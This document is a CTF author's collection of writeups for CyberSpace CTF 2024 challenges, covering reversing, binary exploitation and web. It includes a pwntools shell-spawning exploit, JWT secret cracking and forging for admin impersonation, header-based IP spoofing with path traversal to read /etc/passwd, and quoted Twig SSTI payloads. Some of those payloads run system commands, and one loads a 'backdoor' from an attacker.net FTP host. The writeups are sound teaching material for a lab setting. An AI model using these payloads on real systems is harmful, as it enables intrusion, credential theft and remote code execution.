Published on

CyberSpace CTF 2024 Author Writeups

Authors

Introduction

These are the writeups of the challenges I made for CyberSpace CTF 2024

NameCategoryDifficultySolves
encryptorrev/mobilebeginner348
shelltesterpwnbeginner96
shelltester-v2pwneasy49
menupwnmedium18
syslooperpwnhard7
snakereveasy122
solereveasy65
loginreveasy52
enginerevmedium28
Secure Notesrevmedium10
notekeeperwebmedium19
Twig Playgroundwebmedium7

Encryptor

CTFCyberspace CTF (CTFtime)
Author0xM4hm0ud
Categorybeginner
Solves348
Filesencryptor.apk

Solution

We received an APK file. Let's open it in jadx-gui.

Inside MainActivity, we can see a few interesting functions:

private String getKey() {
    return new String(Base64.decode("ZW5jcnlwdG9yZW5jcnlwdG9y".getBytes(), 0));
}

private String encryptText(String str) throws InvalidKeyException, UnsupportedEncodingException, NoSuchPaddingException, NoSuchAlgorithmException, IllegalBlockSizeException, BadPaddingException {
    SecretKeySpec secretKeySpec = new SecretKeySpec(getKey().getBytes("UTF-8"), "Blowfish");
    Cipher cipher = Cipher.getInstance("Blowfish");
    if (cipher == null) {
        throw new Error();
    }
    cipher.init(1, secretKeySpec);
    return Build.VERSION.SDK_INT >= 26 ? new String(Base64.encode(cipher.doFinal(str.getBytes("UTF-8")), 0)) : "";
}

public void encrypt_onClick(View view) throws UnsupportedEncodingException, NoSuchPaddingException, IllegalBlockSizeException, NoSuchAlgorithmException, BadPaddingException, InvalidKeyException {
    this.builder.setMessage(encryptText(((TextView) findViewById(R.id.input)).getText().toString())).setCancelable(true);
    AlertDialog create = this.builder.create();
    create.setTitle("Here's your encrypted text:");
    create.show();
    View findViewById = create.findViewById(android.R.id.message);
    if (findViewById instanceof TextView) {
        ((TextView) findViewById).setTextIsSelectable(true);
    }
}

public void getflag_onClick(View view) {
        this.builder.setMessage(readAssetFile(this, "enc.txt")).setCancelable(true);
        AlertDialog create = this.builder.create();
        create.setTitle("Here's the encrypted flag:");
        create.show();
        View findViewById = create.findViewById(android.R.id.message);
        if (findViewById instanceof TextView) {
            ((TextView) findViewById).setTextIsSelectable(true);
        }
    }

To obtain the flag, we need to call getflag_onClick. This function reads an assets file called enc.txt, which contains the encrypted text.

The app also encrypts other text that we provide, using the Blowfish algorithm. It first retrieves the key, which is base64 encoded. After decoding ZW5jcnlwdG9yZW5jcnlwdG9y, we get encryptorencryptor.

Now we know that the flag is encrypted with Blowfish and this key. We can create a Python script to decrypt the flag. You can find the encrypted flag by checking the assets folder in jadx-gui or using apktool.

The script looks like this:

from base64 import b64decode

from Crypto.Cipher import Blowfish
from Crypto.Util.Padding import unpad

key = b"encryptorencryptor"
encoded_data = (
    b"OIkZTMehxXAvICdQSusoDP6Hn56nDiwfGxt7w/Oia4oxWJE3NVByYnOMbqTuhXKcgg50DmVpudg="
)

encrypted_data = b64decode(encoded_data)
cipher = Blowfish.new(key, Blowfish.MODE_ECB)

decrypted_data = unpad(cipher.decrypt(encrypted_data), Blowfish.block_size)
print(decrypted_data.decode("utf-8")) # CSCTF{3ncrypt0r_15nt_s4Fe_w1th_4n_h4Rdc0d3D_k3y!}

Shelltester

Solution

We receive a binary file. Let's check the type of binary and its protections:

We can see that it's an aarch64 binary. NX is enabled, and the GOT has partial RELRO protection.
If we disassemble the binary, we see this:

We can see that it asks for shellcode and executes our shellcode.
We don't have a length restriction, so let's use Pwntools to create the shellcode:

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

gdbscript = """
""".format(
    **locals()
)

exe = "./chal"
elf = context.binary = ELF(exe, checksec=False)
context.clear(arch="aarch64")
context.log_level = "critical"

io = start()

payload = asm(shellcraft.sh())
io.sendlineafter(b"place!\n", payload)

io.interactive()

For this to work, you need to have ARM support on your machine.
You can install this with:

$ sudo apt-get install software-properties-common
$ sudo apt-add-repository ppa:pwntools/binutils
$ sudo apt-get update
$ sudo apt-get install binutils-aarch64-linux-gnu

When running the script, we can obtain the flag:

Shelltester v2

Solution

We received a binary file. Let's first check the type of binary and its protections:

We can see that it's an ARM binary. NX and canary protections are enabled, and the GOT has partial RELRO protection. However, PIE is not enabled.

We are also provided with a qemu-arm-static binary, in case we don't have an ARM machine available. Now, let's reverse the binary:

We can identify a format string vulnerability and a buffer overflow. Since this is an ARM binary, we can't use standard techniques like ret2libc.

The binary is statically linked, so it includes many gadgets, and even contains /bin/sh and system.

To exploit this, we can leak the canary via the format string vulnerability. After that, we can overflow the buffer and use a gadget like pop {r0, r4, pc}.

This gadget will pop the next value into r0, the second value into r4, and then jump to the address in pc. By placing /bin/sh in r0, some random value in r4, and system in pc, we can effectively call system("/bin/sh").

The full script can be seen here.

Menu

CTFCyberspace CTF (CTFtime)
Author0xM4hm0ud
CategoryPwn
Solves18
Fileshandout_menu.zip

Solution

We received a binary, a fake flag file, a libc file, and a linker file. Let's patch the binary using pwninit.

When we check the protections with checksec, we can see that everything is enabled except for the stack canary.

Next, let's reverse-engineer the binary. In the greeting function, we can see that it provides a PIE leak:

Inside the init_proc function, it calls sandbox, which sets up seccomp.

Let's analyze it using seccomp-tools:

We can see that many syscalls are blocked. In the menu function, we can observe a buffer overflow vulnerability.

We can input up to 2000 characters using the read function, which will overflow the buffer:

So, what can we do?

Since Full RELRO is enabled, we can't overwrite the GOT. We also can't call system due to seccomp restrictions.

However, we noticed that read and write syscalls are not blocked, while open and openat are. Fortunately, openat2 is not blocked.

This means we can open, read, and write the flag. First, we need to leak the libc base address so that we can call mprotect (which is also not blocked) to make a region RWX (read, write, execute). Then, we can write our shellcode to that region and execute it.

When searching for a pop rdi; ret gadget in the binary, we can't find it. However, we can still leak libc by calling printf followed by puts. When printf returns, it will place a pointer to _funlockfile in the rdi register, which points to libc. This way, we can leak the libc address.

TIP

This also works when you have gets. You can read more about it here. It's a great explanation.

The full script can be seen here.

Syslooper

Solution

This is an SROP challenge with a few small twists. We can see that seccomp is applied to the main binary, and the child process inherits it. Only a few syscalls are allowed.

To solve this, we need to open the flag, read it into the .bss section, and then leak it somehow, since write is not allowed. We can leak the flag using an oracle.

The oracle I used works as follows:

  1. Call open multiple times until the fd matches the character we want.
  2. Prepare the SROP chain so that we can call read later with the correct register values.
  3. Call read with the values: read(fd, flag_location, 2).
  4. If the first byte of the flag matches fd, read will return 2. Otherwise, it will return an error code like 0xfffff....
  5. If read returns an error code, the program will segfault, and we'll try the next character.
  6. If read returns 2, the program will continue, allowing us to keep pivoting the stack to extend the time window. To leak the next character, we stop the program to start over with the fd.
  7. When a character is correct, increment flag_location so that the next read becomes read(fd, flag_location+1, 2).

Refer to solve.py for the solution.

My solution took around 2 hours on the remote server. Some other solves used a different oracle; for instance, someone used a binary search method to find the flag. The longest run during the CTF lasted about 30 minutes.

snake

CTFCyberspace CTF (CTFtime)
Author0xM4hm0ud
CategoryRev
Solves122
Filessnake

Solution

We receive a binary, and the description references a game. When we run the binary, we discover that it's a snake game.

To get the flag, we need to score 16525 points. Since eating one item only gives 10 points, it's practically impossible to beat the game through regular play.

There are two ways to beat this game: manual reversing or dynamic reversing. The manual approach involves using IDA, Ghidra, or another tool to reverse the binary, find the function that checks the score, and patch it. The other method is dynamic, using a tool like scanmem.

Since the binary is written in Rust, using scanmem is the easier option.

First, install and build scanmem, then run it alongside the game. Pausing the game can make it easier to find values.

After pausing the game, launch scanmem and find the game's PID.

Once scanmem is attached, run a command to search for your current score. Eat one item to get 10 points and then search for that value.

Continue eating more items and narrow down the search in scanmem by updating the score.

Eventually, you'll narrow it down to one or two possible values. Change it to 16525 to get the flag.

If you resume the game after changing the score, you’ll receive the flag immediately.

sole

CTFCyberspace CTF (CTFtime)
Author0xM4hm0ud
CategoryRev
Solves65
Fileschal

Solution

We receive a binary, and the description mentions linear equations. When we run the binary, it prompts us to enter a flag. Let's reverse the binary to solve it.

Upon inspecting the main function, we find a lot of equations. If all of them are correct, you have the flag.

We can copy all the equations and use AI to convert them into a script, or we can do it manually. Ultimately, we create a Z3 script with all the equations.

When we run the script, we get the flag.

You can view the full script here.

Login

CTFCyberspace CTF (CTFtime)
Author0xM4hm0ud
CategoryRev
Solves52
Fileslogin.apk

Solution

This challenge has a mobile tag, and we receive an APK file. Let's start by decompiling it with apktool.
When we open the AndroidManifest.xml file, we can see that it's a flutter app, which is indicated by lines like:

<meta-data android:name="io.flutter.embedding.android.NormalTheme" android:resource="@style/NormalTheme"/>

Next, let's inspect the smali code. We observe that the app invokes the init function from flutter, confirming that it's built with the flutter framework.

.class public Lcom/example/login/MainActivity;
.super Lio/flutter/embedding/android/f;
.source "SourceFile"


# direct methods
.method public constructor <init>()V
    .locals 0

    invoke-direct {p0}, Lio/flutter/embedding/android/f;-><init>()V

    return-void
.end method

To reverse flutter apps, the main logic can often be found under the lib directory. In this case, we see two files: libapp.so and libflutter.so.

When running the app, it prompts for a username and password. Given the challenge description, it's likely that the credentials are hardcoded.

To reverse the APK, we'll use blutter.

First, we need to open the APK with apktool to access the directory that contains libapp.so.

Now, let's run blutter. Although we encounter some errors, we proceed by using the arm directory.

After extracting the contents, we can explore the files:

Navigating to asm/login/main.dart, we search for the login() function. The Dart assembly code reveals a few interesting strings. Notably, the second string is passed through a decode function.

It appears to be Base64 encoded. Let's decode it:

Now, using the credentials 4dm1n:Sup3rS3cr3tf0rMyS3cuR3L0ginApp, we can log in and obtain the flag.

engine

CTFCyberspace CTF (CTFtime)
Author0xM4hm0ud
CategoryRev
Solves28
Filesengine

Solution

We receive a binary along with an encrypted flag. Running the binary reveals four different algorithms for encryption and decryption.

Let’s dive into reversing the binary. The binary is somewhat tricky because the compiler inlined the code, so everything is located within the main function.

After some analysis, we find a while loop, and notice that 1337 is an option.

At this point, we can reverse the 1337 option. Interestingly, some players brute-forced this part during the CTF to get the flag.

Upon further investigation, we see that the binary uses litcrypt, which XORs values at compile time using an environment key for encryption. This technique hides strings within the binary.

To uncover the hidden strings, we can set a breakpoint at the decryption point.

By stepping through the instructions, we can view the decrypted data.

Next, the binary passes this data to a seeder and generates a seed.

We discover that it uses rand_seeder and rand_pcg.

After this it decrypts another string with litcrypt and do the exact same thing.

After decrypting another string with litcrypt, the binary follows the same process. This reveals two strings: y0u_w0nt_gu3ss_th1s and y3t_4n0th3r_p4ssw0rd.

By reversing a bit further, we identify that salsa20 is used for encryption.

It’s likely that the flag is encrypted with salsa20, with the key and nonce being the strings we found earlier, converted to byte seeds using the random seeder. We can replicate this in Rust:

use rand_pcg::Pcg64;
use rand_seeder::Seeder;
use rand::prelude::*;

fn main() {
    let key = "y0u_w0nt_gu3ss_th1s";
    let nonce = "y3t_4n0th3r_p4ssw0rd";
    let mut keyrng: Pcg64 = Seeder::from(key).make_rng();
    let keyseed = keyrng.gen::<[u8; 32]>();
    let mut noncerng: Pcg64 = Seeder::from(nonce).make_rng();
    let nonceseed = noncerng.gen::<[u8; 8]>();
    println!("{:?}", keyseed);
    println!("{:?}",  nonceseed);
}

With this information, we can decrypt the flag. You can find the full script here.

Unintended

An unintended solution involves XORing, as salsa20 is a stream cipher/hash function. If the same nonce and key are used for two encryptions, you can use one plaintext and two ciphertexts to retrieve the keystream. XORing the keystream with the second ciphertext yields the flag. This was an interesting unintended solution that I didn't expect.

First, encrypt the known plaintext using the salsa20 algorithm. Then, XOR the data to retrieve the flag.

Secure Notes

CTFCyberspace CTF (CTFtime)
Author0xM4hm0ud
Categoryrev
Solves10
Filessecurenotes.apk

Solution

This challenge has a mobile tag, and we receive an APK file. Let's start by decompiling it with apktool.
When we open the AndroidManifest.xml file, we can see that it's a flutter app, which is indicated by lines like:

<meta-data android:name="io.flutter.embedding.android.NormalTheme" android:resource="@style/NormalTheme"/>

Next, let's inspect the smali code. We observe that the app invokes the init function from flutter, confirming that it's built with the flutter framework.

.class public Lcom/cyberspace/secure_notes/MainActivity;
.super Lio/flutter/embedding/android/f;
.source "SourceFile"


# direct methods
.method public constructor <init>()V
    .locals 0

    invoke-direct {p0}, Lio/flutter/embedding/android/f;-><init>()V

    return-void
.end method

To reverse flutter apps, the main logic can often be found under the lib directory. In this case, we see two files: libapp.so and libflutter.so.

When running the app, we can see that we can register or log in.

After registering and logging in, we can create, delete, and view notes.

The app interacts with a remote server, and we can try to intercept the requests using Burpsuite. However, interception doesn’t seem to work because of SSL pinning.

To bypass SSL pinning on Flutter, we can use tools like reflutter.

In this case, I used httptoolkit. After installing the tool, I connected my Android machine with ADB:

adb connect ip:port

Running httptoolkit on my Linux machine, I clicked on Android Device via ADB.

The tool automatically checks the connection, installs the httptoolkit app on the Android machine, and installs certificates:

Now, I can interact with the app and see the requests in httptoolkit. We've successfully bypassed SSL pinning on flutter, and can view all the requests:

By inspecting the notes endpoint, we see that it returns the notes we've created. The server knows this because a JWT token is being sent via the Authorization header:

Let's examine the contents of the JWT token:

Two interesting things stand out: the JWT uses the HS256 algorithm, and the sub field in the payload is a claim (a number). We can attempt to crack the token's signature and sign our own cookie, changing the sub value to 1 to impersonate the admin and access their notes.

By copying the token's signature into a file and running hashcat on it:

We quickly retrieve the secret password:

Now, using this secret on jwt.io, we can verify the signature, change the sub value to 1, and copy the new token.

Switching to Burpsuite (since httptoolkit's free version lacks certain features), we send the modified request to the notes endpoint using the admin token. However, we receive a 403 Forbidden error. The same happens when using our original token:

The app works fine, but the server prevents direct access via Burpsuite or curl. The server likely checks if the request originates from the app. A key way it might do this is by using the User-Agent header.

Checking the User-Agent through httptoolkit:

We can modify the User-Agent header in Burpsuite to match the app's. After doing this, the request succeeds, and we can view our notes. Changing the sub value to 1 allows access to the admin's notes and reveals the flag:

Notekeeper

Solution

We received a ZIP file containing the source code. Let's open the ZIP file and review the source code.

Upon opening, we see a structure like this:

Configuration

We received files for local deployment. We can see that we can't read the flag directly. We need to execute a binary. Additionally, we noticed that request.rb is patched from rack.

# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
FROM ruby:3.3 as chroot

RUN mkdir -p /home/user
WORKDIR /home/user

COPY app/ patch.txt ./
RUN gem install bundler:2.5.14
RUN bundle install
RUN patch /usr/local/bundle/gems/rack-3.1.7/lib/rack/request.rb < patch.txt

COPY flag.c /
RUN gcc /flag.c -o /flag && rm /flag.c && chmod -r+x /flag

FROM gcr.io/kctf-docker/challenge@sha256:0f7d757bcda470c3bbc063606335b915e03795d72ba1d8fdb6f0f9ff3757364f

COPY --from=chroot / /chroot

COPY nsjail.cfg /home/user/
COPY start.sh /chroot/home/user/

CMD kctf_setup && \
    kctf_drop_privs nsjail --config /home/user/nsjail.cfg -- /home/user/start.sh

We also see a start.sh script:

#!/bin/bash

export PATH=$PATH:/usr/local/bundle/bin
export BUNDLE_APP_CONFIG=/usr/local/bundle
export GEM_HOME=/usr/local/bundle

cd /home/user || exit
/usr/local/bundle/bin/rackup -E deployment -o 0.0.0.0 -p 1337

We can see that this simply runs the local Ruby server inside the container on port 1337.

Ruby source code

Let's check the Gemfile to see which gems are used in this application:

source "https://rubygems.org"

gem "rackup"
gem "cuba"
gem "tilt"
gem "sqlite3"
gem "rack-session"
gem "open3"

We can see various gems listed. Inside the container, it will install the gems with the latest version of Bundler, ensuring there are no vulnerabilities in the gems themselves.

We also see a config.ru file:

require "./server"

run Cuba

This will run Cuba. If we search for Cuba, we can find it on Github.
Cuba is a microframework for web development, originally inspired by Rum, a tiny but powerful mapper for Rack applications.

So, it's a framework that can be used with Ruby.

We can see that Cuba runs the server, and the server is defined in server.rb. In server.rb, we observe different POST and GET endpoints.

Additionally, we notice that the session secret is REDACTED, and we use Safe and Render from Cuba itself.

Cuba.use Rack::Session::Cookie, :key => 'session', :secret => 'REDACTEDREDACTEDREDACTEDREDACTEDREDACTEDREDACTEDREDACTEDREDACTED'
Cuba.plugin Cuba::Safe
Cuba.plugin Cuba::Render

As we can read on Github, we can see:

When building a web application, you need to include a security layer. Cuba ships with the Cuba::Safe plugin, which applies several security related headers to prevent attacks like clickjacking and cross-site scripting, among others.

This plugin provides extra security. The render plugin allows us to render template files. As we can see in the views directory, the application uses erb.

We also notice a custom function called h:

def h(text)
  Rack::Utils.escape_html(text)
end

This function is used in the template files to prevent XSS. Now that we have a rough understanding of the protections in place and how the server operates, we can dive into the vulnerabilities and exploitation.

Vulnerabilities

When reviewing the different endpoints, we found some interesting ones with specific checks.

For example, the admin and download endpoints have a check to see if req.ip is equal to 127.0.0.1:

    on "admin" do
      begin
        if session[:user] == nil
          res.status = 403
          res.headers["Content-Type"] = "text/html"
          res.write partial("403")
        else
          if req.ip == "127.0.0.1"
            files = Dir.each_child(report_path)
            res.write partial("admin", error: "", user: session[:user], files: files, content: "")
          else
            res.status = 403
            res.headers["Content-Type"] = "text/html"
            res.write partial("403")
          end
        end
      rescue
        res.status = 500
        res.headers["Content-Type"] = "text/html"
        res.write partial("500")
      end
    end

The flag endpoint has an additional check:

    on "flag" do
      begin
        if session[:user] == "admin"
          if req.ip == "127.0.0.1"
            stdout, status = Open3.capture2("/flag")
            res.write stdout
          else
            res.status = 403
            res.headers["Content-Type"] = "text/html"
            res.write partial("403")
          end
        else
            res.status = 403
            res.headers["Content-Type"] = "text/html"
            res.write partial("403")
        end
      rescue
        res.status = 500
        res.headers["Content-Type"] = "text/html"
        res.write partial("500")
      end
    end

It checks if the user is an admin. So, we can't access certain endpoints unless we are an admin and have an IP address of 127.0.0.1.

Can we try to register as an admin? No, we should check the register and login functions in database.db:

	def register(username, password)
		if username != "admin" && !checkSameUsername(username)
			@db.execute("INSERT INTO accounts (username, password) VALUES (?,?);", [username, password])
			return true
		else
			return false
		end
	end

	def login(username, password)
		if username != "admin"
			@db.execute("SELECT * FROM accounts WHERE username = ? AND password= ?;", [username, password]).each do | row |
				if row[1] == username && row[2] == password
					return true
				else
					return false
				end
			end
			return false
		else
			return false
		end
	end

We see here that we can't register or log in as an admin, so there must be another way.

Aside from creating or deleting notes, we notice two other important endpoints:

on "report" do
      begin
        if session[:user] == nil
          res.redirect "/login"
        else
          on param("title"), param("report") do |title, report|
            t = Time.new
            time = t.strftime("%k:%M:%S")
            date = t.strftime("%d-%m-%Y")
            fulldate = time + "_" + date

            file = File.new(report_path + "report_" + fulldate + ".txt", "w")
            File.open(file, "w") do |report_file|
              report_file.puts("Title:")
              report_file.puts(title)
              report_file.puts("<br/>")
              report_file.puts("Report:")
              report_file.puts(report)
              report_file.puts("<br/>")
              report_file.puts("User:")
              report_file.puts(session[:user])
            end
            res.write partial("report", user: session[:user], error: "", success: "Your report has been successfully sent!")
          end
          on param("title") do
            res.write partial("report", user: session[:user], error: "Both fields are required!", success: "")
          end
          on param("report") do
            res.write partial("report", user: session[:user], error: "Both fields are required!", success: "")
          end
          res.write partial("report", user: session[:user], error: "You can't send an empty report!", success: "")
        end
      rescue
        res.status = 500
        res.headers["Content-Type"] = "text/html"
        res.write partial("500")
      end
    end

    on "download" do
      begin
        if session[:user] == nil
            res.status = 403
            res.headers["Content-Type"] = "text/html"
            res.write partial("403")
        else
          if req.ip == "127.0.0.1"
            on param("filename") do |filename|
              file = File.join(report_path, filename)
              if File.exist?(file)
                content = File.open(file).read()
                files = Dir.each_child(report_path)
                res.write partial("admin", error: "File doesn't exist!", user: session[:user], files: files, content: content)
              else
                files = Dir.each_child(report_path)
                res.write partial("admin", error: "File doesn't exist!", user: session[:user], files: files, content: "")
              end
            end
          else
            res.status = 403
            res.headers["Content-Type"] = "text/html"
            res.write partial("403")
          end
        end
      rescue
        res.status = 500
        res.headers["Content-Type"] = "text/html"
        res.write partial("500")
      end
    end

When reporting on the site, the data will be saved in a .txt file on the machine. We don't control anything regarding the filename, and our input will be saved directly into the .txt file, so this isn't vulnerable to anything specific.

In the download endpoint, the filename is taken from the filename parameter and then joined with the report_path. report_path is defined as:

report_path = File.expand_path(".") + "/reports/"

It then checks if the file exists. If it does, it reads the file's contents and displays them on the page. We can see that there isn't any additional check here, so there is a Path Traversal vulnerability. We only need to bypass the IP check.

Patch

We noticed a patch. Let's examine what it contains:

418,421d417
<         unless external_addresses.empty?
<           return external_addresses.last
<         end
<

If we look for this in request.rb, we can see that it's inside a function called ip. It's defined as follows:

  def ip
        remote_addresses = split_header(get_header('REMOTE_ADDR'))
        external_addresses = reject_trusted_ip_addresses(remote_addresses)

        unless external_addresses.empty?
          return external_addresses.last
        end

        if (forwarded_for = self.forwarded_for) && !forwarded_for.empty?
          # The forwarded for addresses are ordered: client, proxy1, proxy2.
          # So we reject all the trusted addresses (proxy*) and return the
          # last client. Or if we trust everyone, we just return the first
          # address.
          return reject_trusted_ip_addresses(forwarded_for).last || forwarded_for.first
        end

        # If all the addresses are trusted, and we aren't forwarded, just return
        # the first remote address, which represents the source of the request.
        remote_addresses.first
      end

What this function does is check for remote addresses. It then calls reject_trusted_ip_addresses, which checks if the IP is from localhost, including 192. and 172 IP ranges. If the IP is not from localhost, the function returns directly. The patch modifies this behavior by removing the check that returns if the IP in remote_addr is external. It then checks for a forwarded header inside the forwarded_for function.

      def forwarded_for
        forwarded_priority.each do |type|
          case type
          when :forwarded
            if forwarded_for = get_http_forwarded(:for)
              return(forwarded_for.map! do |authority|
                split_authority(authority)[1]
              end)
            end
          when :x_forwarded
            if value = get_header(HTTP_X_FORWARDED_FOR)
              return(split_header(value).map do |authority|
                split_authority(wrap_ipv6(authority))[1]
              end)
            end
          end
        end

        nil
      end

Here, it checks for two types of headers: Forwarded and X-Forwarded-For. We can use these headers to set the IP to 127.0.0.1. Locally, X-Forwarded-For works, but the challenge was deployed on GCP (Google Cloud Platform). GCP's load balancer modifies the header, as noted here.

During the CTF, people opened tickets about this issue. I was aware of it, but then someone solved the challenge. To ensure fairness, I didn't update the challenge but made an announcement to inform the players.

The workaround that worked was using the forwarded header. The code checks for both headers, so this approach was effective.

By using the header to spoof our IP, we can access the download endpoint and achieve Local File Inclusion (LFI). With LFI, we can read files from the container. Our goal is to become an admin so that we can call the flag endpoint and retrieve the flag. We saw earlier that the session secret was REDACTED, so we can leak the secret, replace it locally to create a valid admin session token, and use it on the remote server to obtain the flag. Let's see this in action.

Exploitation

When we try to access /admin, we get a 403 page:

If we intercept the request and add the Forwarded header (Forwarded: for=127.0.0.1), we can see the page:

Let's intercept the request when clicking on a report. We can see the filename parameter:

We can successfully view the passwd file:

Next, we read the secret from secret.rb:

Now, by replacing the secret locally, editing the database.db file to allow admin access, creating an account, and using the cookie on the remote server, we can access /flag.

Twig Playground

Solution

We received a ZIP file containing the source code. Let's open the ZIP file and review the source code.

Upon opening, we see a structure like this:

Let's take a look at what's inside the Dockerfile:

# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
FROM php:8.2.12-cli-alpine as chroot

COPY --from=composer:latest /usr/bin/composer /usr/local/bin/composer

RUN mkdir -p /home/user
WORKDIR /home/user

COPY index.php ./

COPY ./flag /flag
RUN mv /flag /flag-$(head -c 30 /dev/urandom | xxd -p | tr -dc 'a-f' | head -c 10)

RUN composer require twig/twig

FROM gcr.io/kctf-docker/challenge@sha256:0f7d757bcda470c3bbc063606335b915e03795d72ba1d8fdb6f0f9ff3757364f

COPY --from=chroot / /chroot

COPY nsjail.cfg /home/user/
COPY run.sh /chroot/home/user/
RUN chmod +x /chroot/home/user/run.sh

CMD kctf_setup && \
    kctf_drop_privs nsjail --config /home/user/nsjail.cfg -- /home/user/run.sh

We can see that the flag follows the format ^flag-[a-f]{10}$.

Now, let's check the index.php file:

// ...

    <div class="container">
        <h1>Twig Playground</h1>
        <form method="post" action="">
            <label for="input">Enter Twig Expression:</label>
            <input type="text" id="input" name="input" placeholder="{{ user.name }} is {{ user.age }} years old."><br>
            <input type="submit" value="Render">
        </form>

        <?php
        ini_set('display_errors', 0);
        ini_set('error_reporting', 0);
        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
            require_once 'vendor/autoload.php';

            $loader = new \Twig\Loader\ArrayLoader([]);
            $twig = new \Twig\Environment($loader, [
                'debug' => true,
            ]);
            $twig->addExtension(new \Twig\Extension\DebugExtension());

            $context = [
                'user' => [
                    'name' => 'Wesley',
                    'age' => 30,
                ],
                'items' => ['Apple', 'Banana', 'Cherry', 'Dragonfruit'],
            ];

            // Ensure no SSTI or RCE vulnerabilities
            $blacklist = ['system', 'id', 'passthru', 'exec', 'shell_exec', 'popen', 'proc_open', 'pcntl_exec', '_self', 'reduce', 'env', 'sort', 'map', 'filter', 'replace', 'encoding', 'include', 'file', 'run', 'Closure', 'Callable', 'Process', 'Symfony', '\'', '"', '.', ';', '[', ']', '\\', '/', '-'];

            $templateContent = $_POST['input'] ?? '';

            foreach ($blacklist as $item) {
                if (stripos($templateContent, $item) !== false) {
                    die("Error: The input contains forbidden content: '$item'");
                }
            }

            try {
                $template = $twig->createTemplate($templateContent);

                $result = $template->render($context);
                echo '<h2>Rendered Output:</h2>';
                echo '<div class="output">';
                echo htmlspecialchars($result);  // Ensure no XSS vulnerabilities
                echo '</div>';
            } catch(Exception $e) {
                echo '<div class="error">Something went wrong! Try again.</div>';
            }
        }
        ?>
    </div>

We can see a few interesting things. First of all, error reporting is turned off:

    ini_set('display_errors', 0);
    ini_set('error_reporting', 0);

This means we won't see any errors.

We can also see that Twig is used:

$loader = new \Twig\Loader\ArrayLoader([]);
$twig = new \Twig\Environment($loader, [
    'debug' => true,
]);
$twig->addExtension(new \Twig\Extension\DebugExtension());

$context = [
    'user' => [
        'name' => 'Wesley',
        'age' => 30,
    ],
    'items' => ['Apple', 'Banana', 'Cherry', 'Dragonfruit'],
];

We notice that debug is set to true and the DebugExtension is added.

There's also a context that is used later. This data is available for normal use in the challenge, as seen in the HTML:

<form method="post" action="">
  <label for="input">Enter Twig Expression:</label>
  <input
    type="text"
    id="input"
    name="input"
    placeholder="{{ user.name }} is {{ user.age }} years old."
  />
  <br />
  <input type="submit" value="Render" />
</form>

Then we see this:

// Ensure no SSTI or RCE vulnerabilities
$blacklist = ['system', 'id', 'passthru', 'exec', 'shell_exec', 'popen', 'proc_open', 'pcntl_exec', '_self', 'reduce', 'env', 'sort', 'map', 'filter', 'replace', 'encoding', 'include', 'file', 'run', 'Closure', 'Callable', 'Process', 'Symfony', '\'', '"', '.', ';', '[', ']', '\\', '/', '-'];

$templateContent = $_POST['input'] ?? '';

foreach ($blacklist as $item) {
    if (stripos($templateContent, $item) !== false) {
        die("Error: The input contains forbidden content: '$item'");
    }
}

try {
    $template = $twig->createTemplate($templateContent);

    $result = $template->render($context);
    echo '<h2>Rendered Output:</h2>';
    echo '<div class="output">';
    echo htmlspecialchars($result);  // Ensure no XSS vulnerabilities
    echo '</div>';
} catch(Exception $e) {
    echo '<div class="error">Something went wrong! Try again.</div>';
}

We notice a blacklist with many blocked words, including some interesting ones. The input is passed to createTemplate, and after that, render is called on the template with the context. The result is displayed after being sanitized with htmlspecialchars.

Based on the the code, we can infer that we need to find a way to achieve Remote Code Execution (RCE) through Server-Side Template Injection (SSTI) in Twig.

The payloads on HackTricks and PayloadAllTheThings are mostly blocked due to the blacklist, which includes words like map, filter, sort, and []. Additionally, single and double quotes are blocked, making SSTI more difficult.

The interesting part is that debug is enabled. When checking the documentation, we find this:

NOTE

DebugExtension and debug were not necessary for this challenge. People solved it without dump. I will explain it below.

However, we notice that dump is not blocked, and we can use it to dump the context. So, what can we do with it?

Let's try calling dump with {{ dump() }}:

We can see some URL-encoded data. After decoding, it shows:

array(2) { ['user']=> array(2) { ['name']=> string(6) 'Wesley' ['age']=> int(30) } ['items']=> array(4) { [0]=> string(5) 'Apple' [1]=> string(6) 'Banana' [2]=> string(6) 'Cherry' [3]=> string(11) 'Dragonfruit' } }

So we can see the context that is passed to render.

Now, how do we achieve RCE without using system, map, etc.?

The idea for this challenge came from this article. Credits to the author!

In the article, dump was used with slice to extract specific characters, which were then assigned to variables. Afterward, variables could be combined using ~.

For example, if we have one variable with sys and another with tem, we can combine them like this:

{% set a = 'sys' %}
{% set b = 'tem' %}
{% set result = a~b %}

So, result will contain system. This allows us to create strings. Some characters are uppercase, but we can use lower to convert them to lowercase. For special characters, you can dump other values instead of the context. For instance, dumping _charset gives us -, and to get /, you can find a newline and use nl2br.

After constructing the necessary characters and strings, we want to call them. When checking payloads on HackTricks, we can see a pattern:

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

The first four are useless, but the last four are interesting. They add a command to a sequence, then call a function like filter, map, sort, etc.

